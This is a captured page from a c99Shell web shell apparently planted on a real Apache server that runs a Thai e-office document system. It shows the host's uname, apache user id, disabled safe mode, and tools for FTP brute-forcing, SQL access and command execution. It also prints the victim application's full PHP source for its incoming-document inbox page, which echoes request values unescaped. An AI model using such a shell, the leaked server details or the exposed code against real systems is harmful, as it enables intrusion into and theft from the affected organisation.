!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     entryDoc.php (29.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
include_once 
"./class/clsTable.php";
include_once 
"./class/clsDepartment.php";
include_once 
"./class/clsPerson.php";
include_once 
"./link/function.php";
include_once 
"./class/clsDocLinePosition.php";
include_once 
"./class/clsDocLineConfig.php";
include_once 
"./class/clsReceiveSendType.php";
include_once 
"./class/clsDocType.php";
include_once 
"./link/functionshow.php";
include_once 
"./class/clsDocattatchesTmp.php";
include_once 
"./class/clsDocuments.php";
include_once 
"./class/clsDocSpeedLevel.php";
include_once 
"./class/clsDocSecreLevel.php";
include_once 
"./class/clsDocReceiveSend.php";
include_once 
"funct.php";
include_once 
"./class/clsDocInbox.php";
include_once 
"./link/keyThai.php";


$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc1 = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDoc4 = new Documents($oC);
$oDoc5 = new Documents($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDsl2 = new DocSpeedLevel($oC);
$oDcl2 = new DocSecretLevel($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oRs5 = new DocReceiveSend($oC);
$oRs6 = new DocReceiveSend($oC);
$oDbx = new DocInbox($oC);
$oDbx1 = new DocInbox($oC);
$oDbx2 = new DocInbox($oC);
$oDbx3 = new DocInbox($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();

$personId=$oU->userPsCode;
if(
$searchName!=""){ 
$flagshow=1;
 }
 
 
$oDbx2->SearchBypersonIdNoDelFolderlimit($personId);
$oDbx2->GetRecord();
$docshow=$oDbx2->DocInboxID;  
$docnameshow=$oDbx2->InboxName;
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>ข้อมูลทั่วไปบุคลากร  - ข้อมูลงานวิจัย - ผลงานการวิจัย</title>
</head>
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="JavaScript" type="text/JavaScript"></script>
<script language="javascript">
function checkData() {
var formObj = document.myForm;
    if( (formObj.Research_name.value == "" ) && (formObj.mYear.value == "" ) && (formObj.mYear2.value == "" ) && (formObj.Research_char.value == "" ) && (formObj.Fund.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Research_name.style.backgroundColor='#F1F9FC'; formObj.Research_name.focus();    return false; }
    else if(formObj.Research_name.value == "" ) { alert("กรุณากรอก ชื่อผลงานวิจัย"); formObj.Research_name.style.backgroundColor='#F1F9FC'; formObj.Research_name.focus(); return false;} 
    else if(formObj.mYear.value == "" ) { alert("กรุณากรอก ปีที่เริ่ม"); formObj.mYear.style.backgroundColor='#F1F9FC'; formObj.mYear.focus(); return false;} 
    else if(formObj.mYear2.value == "" ) { alert("กรุณากรอก ปีที่แล้วเสร็จ"); formObj.mYear2.style.backgroundColor='#F1F9FC'; formObj.mYear2.focus(); return false;} 
    else if(formObj.Fund.value == "" ) { alert("กรุณากรอก จำนวนเงินทุน"); formObj.Fund.style.backgroundColor='#F1F9FC'; formObj.Fund.focus(); return false;} 
    else if(formObj.Research_char.value == "" ) { alert("กรุณากรอก ประเภทงานวิจัย"); formObj.Research_char.style.backgroundColor='#F1F9FC'; formObj.Research_char.focus(); return false;} 
    else return true;
}
</script>
<script language="JavaScript" type="text/JavaScript">
function browse()
{
    myform.Filetex.src = myform.Filetex.value;
}
</script>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form action="InsertResearch.php" method="post" enctype="multipart/form-data" name="myForm" id="myForm" onsubmit="return checkData();">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Menu_Teach.php?Teacher_code=<?=$Teacher_code;?>">ข้อมูลทั่วไปบุคลากร</a> &raquo; <a href="ResearchByYear.php?Teacher_code=<?=$Teacher_code;?>">ข้อมูลงานวิจัย</a> &raquo; <a href="ResearchList.php?Teacher_code=<?=$Teacher_code;?>&amp;Year_prop=<?=$Year_prop;?>">ผลงานการวิจัย</a> &raquo; <span class="NOTE">เพิ่มประวัติผลงานวิจัย</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center"><table  width="102%"  align="center">
          <tr>
            <td ><fieldset>
              <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="entryDoc.php">หนังสือเข้า</a></font></legend>
              <table align="center" width="98%" >
                <tr>
                  <td width="68%" height="25"><img src="../picture/official_letter.gif" alt=""  border="0" /> <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong> หนังสือเข้า</strong></font></td>
                  <td width="23%" align="right">&nbsp;</td>
                  <td width="9%" align="right" >&nbsp;</td>
                </tr>
                <tr>
                  <td colspan="3"><hr color="#000099" /></td>
                </tr>
              </table>
              <table width="99%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#DADADA" style="border-collapse:collapse">
                <tr height="22" valign="middle" >
                  <td width="83%" align="right" valign="middle"><img src="../picture/folder_open.gif" alt="ย้ายไปที่"  border="0" />
                    <select name="selectdo" onchange='return selectMethod();'>
                      <option value="0" <? if($selectdo=="" || $selectdo=="0"){  echo "selected";  }?>>ย้ายไปที่</option>
                      <? $oDbx->SearchBypersonIdNoDelFolder($personId);
                    while(
$oDbx->GetRecord()){?>
                      <option value="<? echo $oDbx->DocInboxID;?>"><? echo $oDbx->InboxName;  ?></option>
                      <? ?>
                      <option value="del">ลบ</option>
                    </select></td>
                  <td width="17%" align="center" valign="middle"><a  href="manageFolder.php" style="cursor:pointer;"><img src="../picture/folder.gif" alt="จัดการโฟลเดอร์"  border="0" style="cursor:pointer;" />&nbsp; <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>">จัดการโฟลเดอร์</font></a>&nbsp; </td>
                </tr>
                <tr>
                  <td colspan="2"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong> &nbsp;&nbsp;รายการหนังสือเข้าที่ยังไม่ได้อ่าน และหนังสือที่อ่านแล้ว</strong></font></td>
                </tr>
              </table>
              <table width="99%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"  background="<? if($DtID=="6" || $DtID=="7" || $DtID=="9"){ echo "../picture/table_header_bg2.gif"; }else{ echo "../picture/table_header_bg.gif";  }?>">
                <tr height="22">
                  <td width="13%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ที่/ฉบับที่/ครั้งที่/เลขที่</strong></font></td>
                  <td width="14%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>จาก/ที่มา (ต้นเรื่อง)</strong></font></td>
                  <td width="20%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>เรื่อง/ว่าด้วย (ชนิดหนังสือ)</strong></font></td>
                  <td width="9%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>วันที่ได้รับหนังสือ</strong></font></td>
                  <td width="2%" align="center"><img src="../picture/rapid0.jpg" alt=""  border="0" /></td>
                  <td width="2%" align="center"><img src="../picture/secret0.jpg" alt=""  border="0" /></td>
                  <td width="2%" align="center"><img src="../picture/folder_open2.gif" alt="ย้ายไปที่"  border="0" /></td>
                </tr>
                <?
                        $numrow
=0;
                        
$i=0;
                        
$oRs2->SearchBypersonIdDrsDelete($personId); 
                        while(
$oRs2->GetRecord()){ 
                            
//echo "gtrg==".$oRs2->DocID;
                                    
$oDoc2->SearchByKey($oRs2->DocID); 
                                    
$oDoc2->GetRecord();
                                    if(
$oDoc2->DtID==$DtID || $DtID=="" || $DtID=="0"){
                                        
$numrow++;
                                    }
                        }
                        
//echo "----------".$numrow;
                        
$numRow $numrow;
                        
$total_page = (int)($numRow/$GLOBALS['PAGE_SIZE']);
                        if((
$numRow%$GLOBALS['PAGE_SIZE']) != 0)
                            
$total_page++;

                        if(isset(
$page_id))
                            
$start $GLOBALS['PAGE_SIZE']*($page_id-1);
                        else {
                            
$page_id 1;
                            
$start 0;
                        }
          
?>
                <? //-------------------------other doc------------------------------------------------------------------------------------
                   
$oRs->SearchBypersonIdDrsDeleteLimit($personId$start,$GLOBALS['PAGE_SIZE']); 
                
$i=0;                
                  while(
$oRs->GetRecord()){ 
                    
$oDoc->SearchByKey($oRs->DocID); $oDoc->GetRecord();
                    if(
$oDoc->DtID==$DtID || $DtID=="" || $DtID=="0"){
                    if((
$i%2) == 0)   
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22 align=\"left\">";
          
?>
                <tr>
                  <td>&nbsp;<? echo $oDoc->DocNo?></td>
                  <td align="left"><? 
      
if($oDoc->DtID=="1" || $oDoc->DtID=="2" || $oDoc->DtID=="14"){
                        echo 
"&nbsp;".$oDoc->DocFrom."<br>";
      }else{
              if(
$oDoc->DocPID=="0"){
                    
$oDlc2->SearchByKey($oDoc->DlcID); $oDlc2->GetRecord();
                    
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();
                    echo 
"&nbsp;".$oDoc->DocFrom."<br>";
                    echo 
"&nbsp;(".$oDlp->DlpName.")";
                    
$countdoc=checkCountDoc($oDoc->DocID); 
            }else{
                    
$oDoc4->SearchByKey($oDoc->DocPID); $oDoc4->GetRecord();
                    
$oDlc2->SearchByKey($oDoc4->DlcID); $oDlc2->GetRecord();
                    
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();
                    echo 
"&nbsp;".$oDoc->DocFrom."<br>";
                    echo 
"&nbsp;(".$oDlp->DlpName.")";
                    
$countdoc=checkCountDoc($oDoc->DocPID); 
            }
        }
      
?></td>
                  <td align="left">&nbsp;
                    <?  if($oRs->DsID=="0"){  ?>
                    <img src="../picture/unread_0.gif" alt="หนังสือที่ยังไม่ได้เปิด"   border="0" />
                    <? }else if($oRs->DsID=="4"  && $countdoc!="0"){ ?>
                    <img src="../picture/unreadattachfile1.gif" alt="ยังไม่ได้อ่านแฟ้มหนังสือ"   border="0" />
                    <? ?>
                    <a href="showEntryDoc.php?DocID=<?php echo $oDoc->DocID;?>&amp;DrsID=<?php echo $oRs->DrsID;?>">&nbsp;
                      <?  if($oRs->DsID=="0"){   echo "<font color=\"#F47A00\"><strong>"; } ?>
                      <? if($oDoc->DtID=="13"){  echo "ชื่อผู้ได้รับการรับรอง<br>".$oDoc->CertificatePs;  }else{  echo $oDoc->DocSubject; } ?>
                      <?  if($oRs->DsID=="0"){   echo "</strong></font>"; } ?>
                      </a> &nbsp; <font color="<?php echo $GLOBALS["COLOR_FONT_5"]; ?>" size="2">
                        <? $oDt->SearchByKey($oDoc->DtID); $oDt->GetRecord(); echo "(".$oDt->DtName.")";?>
                        <? if($oRs->DrsSendToPs=="Y"){  echo "<font color=\"#FF0000\">&nbsp;<storng>[ส่งด่วน]</strong></font>&nbsp;"; }?>
                      </font></td>
                  <td align="center"><? 
      
if($oRs->DrsReceiveDate!="0000-00-00 00:00:00"){
                  list(
$DocD,$DocT) = split(' ',$oRs->DrsReceiveDate);
                echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
        }
        
?></td>
                  <? if($oDoc->DslID=="0"){ $rapid="../picture/rapid0.jpg";  $rapidname=$oDsl2->SearchName(0);   }else if($oDoc->DslID=="1"){  $rapid="../picture/rapid1.jpg";  $rapidname=$oDsl2->SearchName(1); }else if($oDoc->DslID=="2"){  $rapid="../picture/rapid2.jpg"$rapidname=$oDsl2->SearchName(2);  }else if($oDoc->DslID=="3"){ $rapid="../picture/rapid3.jpg"$rapidname=$oDsl2->SearchName(3);  }else{  $rapid="../picture/blank.gif"$rapidname="";  }?>
                  <td align="center"><img src="<? echo $rapid?>" alt="<? echo $rapidname?>"  border="0" /></td>
                  <? if($oDoc->DclID=="0"){ $secret="../picture/secret0.jpg"$secretname=$oDcl2->SearchName(0);  }else if($oDoc->DclID=="1"){  $secret="../picture/secret1.jpg";  $secretname=$oDcl2->SearchName(1);}else if($oDoc->DclID=="2"){  $secret="../picture/secret2.jpg";  $secretname=$oDcl2->SearchName(2); }else if($oDoc->DclID=="3"){ $secret="../picture/secret3.jpg";  $secretname=$oDcl2->SearchName(3); }else if($oDoc->DclID=="4"){   $secret="../picture/secret4.jpg";   $secretname=$oDcl2->SearchName(4); }else{  $secret="../picture/blank.gif";  $secretname="";}?>
                  <td align="center"><img src="<? echo $secret?>" alt="<? echo $secretname?>"  border="0" /></td>
                  <td align="center"><? if($oRs->DsID=="4" || $oRs->DsID=="5"){  ?>
                    <input name="unread[<? echo $i?>]" type="checkbox" value="<? echo $oRs->DrsID?>" />
                    <? ?></td>
                </tr>
                <? $i++; }  }  ?>
              </table>
              <table width="99%" align="center" border="0" cellpadding="0" cellspacing="0" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_13'];?>"  height="22">
                <? if($i=="0"){?>
                <tr height="22">
                  <td align="center" bgcolor="#FFFFFF"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** ไม่มีรายการหนังสือที่ส่งถึงผู้รับผิดชอบ **</font></td>
                </tr>
                <? }  ?>
                <tr height="22">
                  <td align="right"><strong>หน้า-&gt;</strong>
                    <?php
                    
for ($num=1$num<=$total_page$num++) {    
                        if(
$num == $page_id)
                            echo  
a2th($num)." ";
                        else {
?>
                    <a href="entryDoc.php?page_id=<?php echo $num;?>&amp;DtID=<?  echo $DtID?>"><?php echo '[ 'a2th($num).' ]'; if($num==14){echo "<br>";}?></a>
                    <?php
                        
}
                    }
?>
                    &nbsp;&nbsp;</td>
                </tr>
                <tr height="22" bgcolor="#FFFFFF">
                  <td colspan="4" valign="bottom"><br />
                    <hr color="#000099" /></td>
                </tr>
              </table>
              <br />
              <input type="hidden" name="flagshow"  value="<? echo $flagshow?>" />
              <input type="hidden" name="i"  value="<? echo $i?>" />
              <input type="hidden" name="method" />
              <table  width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
                <tr height="27" bgcolor="#FFFFFF" >
                  <td align="left" >&nbsp; <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong> <a id="openshow" <? if($flagshow=="1"){   ?>style="display:none; cursor:pointer"  <? }else{ ?> style="display:''; cursor:pointer" <?    }?>   onclick="up_downList('<? if($flagshow=="1"){   echo "up"; }else{  echo "up"; }?>')"><img src="../picture/downshow.gif" alt="แสดง"  border="0" />&nbsp;<u>แสดงรายการหนังสือในโฟลเดอร์</u></a> <a  id="closeshow" <? if($flagshow=="1"){ ?>style="display:''; cursor:pointer" <? }else{ ?>style="display:none; cursor:pointer"  <?   }?> alt="ซ่อน" onclick="up_downList('<? if($flagshow=="1"){  echo "down";  }else{  echo "down";  }?>')"><img src="../picture/downshow.gif" alt="ซ่อน"  border="0" />&nbsp;<u>
                    <?  $a=1;  ?>
                    ซ่อนรายการหนังสือในโฟลเดอร์</u></a></strong></font>
                    <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"   id="showtable2" <? if($flagshow=="1"){   ?>style="display:''; border-collapse:collapse" <? }else{ ?>style="display:none; border-collapse:collapse"  <? }?>>
                      <tr>
                        <td align="right"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">ค้นหาหนังสือ (เรื่อง/ว่าด้วย)</font>&nbsp;
                          <input name="searchName" type="text" size="25" value="<? echo a2th($searchName); ?>" />
                          <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">&nbsp;(ที่/ฉบับที่/ครั้งที่/เลขที่)</font>&nbsp;
                          <input name="searchNo" type="text" size="20" value="<? echo a2th($searchNo); ?>" />
                          &nbsp;&nbsp;
                          <input name="searchNamesub" type="submit" value="ค้นหา" />
                          <input name="searchNamesub2" type="button" value="แสดงทั้งหมด" onclick="return ClearValue('<? echo $idInbox?>')" /></td>
                      </tr>
                    </table>
                    <? //echo "---".$idInbox; ?>
                    <input type="hidden" name="flagshow"  value="<? echo $flagshow?>" />
                    <input type="hidden" name="idInbox" value="<? echo $idInbox?>" />
                    <input type="hidden" name="selectdo2" value="<? echo $selectdo2?>" />
                    <table width="99%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" id="showtable3" <? if($flagshow=="1"){   ?>style="display:''; cursor:pointer; border-collapse:collapse" <? }else{ ?>style="display:none; cursor:pointer; border-collapse:collapse"  <? }?>>
                      <tr height="22">
                        <td align="right"><? if($selectdo2=="" || $selectdo2=="del" || $selectdo2=="0"){  $idInbox=$docshow;   $idInboxName=$docnameshow;  }else{  $idInbox=$selectdo2;  $oDbx3->SearchByKey($selectdo2); $oDbx3->GetRecord();   $idInboxName=$oDbx3->InboxName;   }
              
$oldbox=$selectdo2;
         
?>
                          <img src="../picture/folder_open.gif" alt="ย้าย/เลือกไปที่"  border="0" />&nbsp;
                          <select name="selectdo2" onchange='return selectMethod2();'>
                            <option value="0" <? if($selectdo2=="" || $selectdo2=="0"){  echo "selected";  }?>>ย้าย/เลือกไปที่</option>
                            <? $oDbx1->SearchBypersonIdNoDelFolder($personId);
                            while(
$oDbx1->GetRecord()){
                                if(
$oDbx1->DocInboxID!=$idInbox){        
                    
?>
                            <option value="<? echo $oDbx1->DocInboxID;?>"><? echo $oDbx1->InboxName;  ?></option>
                            <? } }   ?>
                            <option value="del" >ลบ</option>
                          </select></td>
                      </tr>
                      <tr>
                        <td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>&nbsp;&nbsp;<? echo "โฟลเดอร์ :: ".$idInboxName;  ?></strong></font></td>
                      </tr>
                    </table>
                    <table width="99%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"  id="showtable" <? if($flagshow=="1"){  ?>style="display:''; border-collapse:collapse" <? }else{ ?>style="display:none; border-collapse:collapse"  <? }?> background="<? if($DtID=="5" || $DtID=="6" || $DtID=="7" || $DtID=="9" || $DtID=="10" || $DtID=="11" || $DtID=="12" || $DtID=="13"){ echo "../picture/table_header_bg6.gif"; }else{ echo "../picture/table_header_bg5.gif";  }?>" >
                      <tr height="22">
                        <td width="14%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ที่/ฉบับที่/ครั้งที่/เลขที่</strong></font></td>
                        <td width="16%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>จาก/ที่มา (ต้นเรื่อง)</strong></font></td>
                        <td width="19%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>เรื่อง/ว่าด้วย (ชนิดหนังสือ)</strong></font></td>
                        <td width="10%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>วันที่ได้รับหนังสือ</strong></font></td>
                        <td width="2%" align="center"><img src="../picture/folder_open.gif" alt="ย้าย/เลือกไปที่"  border="0" /></td>
                      </tr>
                      <?
                          
//--------------------------------find count
                        
                        
$numrow=0;
                        
$oRs4->SearchBypersonIdDrsDelete2DrsInboxIDDrsflagReadsearchNo($personId,th2a($searchName),$idInbox,th2a($searchNo));     
                        
$numRow $oRs4->NumRow();
                        
$total_page = (int)($numRow/$GLOBALS['PAGE_SIZE']);
                        if((
$numRow%$GLOBALS['PAGE_SIZE']) != 0)
                            
$total_page++;

                        if(isset(
$page_id))
                            
$start $GLOBALS['PAGE_SIZE']*($page_id-1);
                        else {
                            
$page_id 1;
                            
$start 0;
                        }
                        
//-------------------------------
                    
                        
            
$oRs5->SearchBypersonId2DrsDeleteLimitDrsInboxIDDrsflagReadsearchNo($personId$start$GLOBALS['PAGE_SIZE'],th2a($searchName),$idInbox,th2a($searchNo));
            
$z=0;                
            while(
$oRs5->GetRecord()){ 
                            
$oDoc3->SearchByKey($oRs5->DocID);
                            
$oDoc3->GetRecord();
                            if((
$z%2) == 0
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22>";
            
?>
                      <tr>
                        <td width="13%">&nbsp;<? echo $oDoc3->DocNo?></td>
                        <td width="18%" ><?   
      
      
if($oDoc3->DtID=="1" || $oDoc3->DtID=="2" || $oDoc3->DtID=="14"){
                        echo 
"&nbsp;".$oDoc3->DocFrom."<br>";
      }else{
              if(
$oDoc3->DocPID=="0"){
                    
$oDlc2->SearchByKey($oDoc3->DlcID); $oDlc2->GetRecord();
                    
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();
                    echo 
"&nbsp;".$oDoc3->DocFrom."<br>";
                    echo 
"&nbsp;(".$oDlp->DlpName.")";
                    
$countdoc=checkCountDoc($oDoc3->DocID); 
                    
            }else{
                    
$oDoc5->SearchByKey($oDoc3->DocPID); $oDoc5->GetRecord();
                    
$oDlc2->SearchByKey($oDoc5->DlcID); $oDlc2->GetRecord();
                    
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();                
                    echo 
"&nbsp;".$oDoc3->DocFrom."<br>";
                    echo 
"&nbsp;(".$oDlp->DlpName.")";
                    
$countdoc=checkCountDoc($oDoc3->DocPID); 
            }
    }
      
?></td>
                        <td width="28%">&nbsp;
                          <?  if($oRs5->DsID=="4" && $countdoc!="0"){ ?>
                          <img src="../picture/unreadattachfile1.gif" alt="ยังไม่ได้อ่านแฟ้มหนังสือ"   border="0" />
                          <? ?>
                          <? if($a=="1"){   $flagshow="1"; }?>
                          <a href="showDetailEntryDoc.php?DocID=<?php echo $oDoc3->DocID;?>&amp;DrsID=<? echo $oRs5->DrsID?>&amp;flagshow=<? echo $flagshow?>&amp;idInbox=<? echo $idInbox?>&amp;selectdo2=<? echo $selectdo2?>">
                            <? if($oDoc3->DtID=="13"){  echo "ชื่อผู้ได้รับการรับรอง<br>".$oDoc3->CertificatePs;  }else{  echo $oDoc3->DocSubject; } ?>
                            </a>
                          <? if($oRs5->DrsSendToPs=="Y"){  echo "<font color=\"#FF0000\"><storng>[ส่งด่วน]</strong></font>&nbsp;"; }?></td>
                        <td align="center"><? 
      
if($oRs5->DrsReceiveDate!="0000-00-00 00:00:00"){
                  list(
$DocD,$DocT) = split(' ',$oRs5->DrsReceiveDate);
                echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
        }
        
?></td>
                        <td width="2%" align="center"><? if($oRs5->DrsflagRead=="N"){  ?>
                          <input name="unread2[<? echo $z?>]" type="checkbox" value="<?php echo $oRs5->DrsID;?>" />
                          <? }else{ echo "&nbsp;"; } ?></td>
                      </tr>
                      <?
           $z
++;  }   ?>
                      <? if($z=="0"){  $z2=0;  ?>
                      <tr height="22">
                        <td align="center" bgcolor="#FFFFFF" colspan="6"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** ไม่มีรายการหนังสือในโฟลเดอร์ **</font></td>
                      </tr>
                      <? }  ?>
                      <tr height="22" bgcolor="#DADADA">
                        <td align="right" colspan="8"><strong>หน้า-&gt;</strong>
                          <?php
                    
for ($num=1$num<=$total_page$num++) {    
                        if(
$num == $page_id)
                            echo  
a2th($num)." ";
                        else {
?>
                          <a href="entryDoc.php?page_id=<?php echo $num;?>&amp;sh=1&amp;flagshow=<? echo $flagshow?>&amp;idInbox=<? echo $idInbox?>&amp;selectdo2=<? echo $selectdo2?>"><?php echo '[ 'a2th($num).' ]'; if($num==14){echo "<br>";}?></a>
                          <?php
                        
}
                    }
?>
                          &nbsp;&nbsp;</td>
                      </tr>
                    </table>
                    <input type="hidden" name="flagshow"  value="1" />
                    <input type="hidden" name="z"  value="<? echo $z?>" />
                    <input type="hidden" name="searchName"  value="<? echo $searchName?>" />
                    <input type="hidden" name="searchNo"  value="<? echo $searchNo?>" />
                    <input type="hidden" name="method" />
                    <input type="hidden" name="idInbox" value="<? echo $oldbox?>" /></td>
                </tr>
              </table>
              <br />
            </fieldset>
              <table width="99%" border="0" align="center">
                <tr>
                  <td width="126" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
                    : </strong>&nbsp;</font></td>
                  <td width="702" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><img src="../picture/unread_0.gif" alt=""   border="0" />หมายถึงหนังสือที่ยังไม่ได้เปิดอ่าน&nbsp;&nbsp;&nbsp; <img src="../picture/unreadattachfile1.gif" alt="ยังไม่ได้อ่านแฟ้มหนังสือ"   border="0" /> หมายถึงยังไม่ได้อ่านแฟ้มหนังสือ</font></td>
                </tr>
                <tr>
                  <td width="126" align="left">&nbsp;</td>
                  <td colspan="2" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ชั้นความเร็ว&nbsp;
                    <? $oDsl->RSDocSpeedLevel();  $r=0; while($oDsl->GetRecord()){  
                    if(
$oDsl->DslID=="0"){  $picsp="../picture/rapid0.jpg"; }else if($oDsl->DslID=="1"){ $picsp="../picture/rapid1.jpg";  }else if($oDsl->DslID=="2"){ $picsp="../picture/rapid2.jpg";   }else if($oDsl->DslID=="3"){ $picsp="../picture/rapid3.jpg";  } else if($oDsl->DslID=="4"){ $picsp="../picture/rapid4.jpg";  } 
             
?>
                    <img src="<? echo $picsp?>" alt=""  border="0" /> <? echo "&nbsp;".$oDsl->DslName."&nbsp;&nbsp;"$r++; }?></font></td>
                </tr>
                <tr>
                  <td width="126">&nbsp;</td>
                  <td colspan="2" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ชั้นความลับ&nbsp;
                    <? $oDcl->RSDocSecretLevel();  $r=0; while($oDcl->GetRecord()){  
            if(
$oDcl->DclID=="0"){  $piccl="../picture/secret0.jpg"; }else if($oDcl->DclID=="1"){ $piccl="../picture/secret1.jpg";  }else if($oDcl->DclID=="2"){ $piccl="../picture/secret2.jpg";   }else if($oDcl->DclID=="3"){ $piccl="../picture/secret3.jpg";  } else if($oDcl->DclID=="4"){ $piccl="../picture/secret4.jpg";  } 
             
?>
                    <img src="<? echo $piccl?>" alt=""  border="0" /> <? echo "&nbsp;".$oDcl->DclName."&nbsp;&nbsp;"$r++; }?></font></td>
                </tr>
              </table></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result0);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
